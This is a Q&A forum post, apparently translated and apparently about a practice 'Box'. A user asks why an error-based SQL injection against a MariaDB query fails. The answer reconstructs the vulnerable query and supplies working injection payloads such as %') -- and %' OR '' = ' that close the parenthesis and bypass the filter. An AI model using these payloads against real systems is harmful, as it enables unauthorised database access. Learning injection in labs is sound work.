syntax - How to find out the right syntax in MariaDB Error Based SQL Injection?

Question

I am trying to inject SQL statements into a Box. I have the following injection point:

example.com/?o=1&page=app

when I inject 1' then I receive the following error message:

DEBUG INFO: You have an error in your SQL syntax; check the manual that corresponds to your MariaDB server version for the right syntax to use near '5' or dest like '1'') LIMIT 10' at line 1

I was trying to inject the following:

1' ORDER BY 1 --

I still get error message and I don't know how to close the statement:

DEBUG INFO: You have an error in your SQL syntax; check the manual that corresponds to your MariaDB server version for the right syntax to use near 'ORDER BY 1 --') and ( dest like '5' or dest like '1' ORDER BY 1 --') LIMIT 10' at line 1

What I am doing wrong? Thanks for the answers!

标签： syntaxmariadbsql-injection

Answer 1

鉴于当您尝试1'包含的查询时'1''，原始查询似乎是这样的：

... '5' or dest like '$o') LIMIT 10

例如

SELECT * FROM table WHERE (category = '5' or dest like '$o') LIMIT 10

要使其成为有效查询，您需要关闭括号。

例如%') --，给出：

SELECT * FROM table WHERE (category = '5' or dest like '%') --') LIMIT 10

或%' OR '' = '，给出：

SELECT * FROM table WHERE (category = '5' or dest like '%' OR '' = '') LIMIT 10